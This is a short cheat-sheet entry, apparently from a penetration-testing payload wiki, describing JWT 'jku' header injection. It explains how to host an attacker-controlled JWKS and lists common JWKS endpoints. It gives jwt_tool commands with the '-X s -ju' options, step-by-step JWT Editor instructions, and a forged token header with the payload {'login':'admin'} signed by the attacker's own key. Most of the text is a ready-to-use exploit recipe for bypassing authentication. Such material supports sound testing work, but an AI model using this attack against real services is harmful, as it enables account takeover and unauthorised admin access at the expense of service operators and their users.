JSON Web Token: JWKS - jku header injection
"jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the Public Key, an attacker can use the paired Private Key to sign the token and let the service retrieve the malicious Public Key and verify the token.
It is sometimes exposed publicly via a standard endpoint:
/jwks.json/.well-known/jwks.json/openid/connect/jwks.json/api/keys/api/v1/keys
You should create your own key pair for this attack and host it. It should look like that:
{
"keys": [
{
"kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
"kty": "RSA",
"e": "AQAB",
"n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
}
]
}Exploit:
Using ticarpi/jwt_tool
python3 jwt_tool.py JWT_HERE -X s python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.jsonUsing portswigger/JWT Editor
Generate a new RSA key and host it
Edit JWT's data
Replace the
kidheader with the one from your JWKSAdd a
jkuheader and sign the JWT (Don't modify headeroption should be checked)
Deconstructed:
{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
{"login":"admin"}.
[Signed with new Private key; Public key exported]
Comments
No comments yet.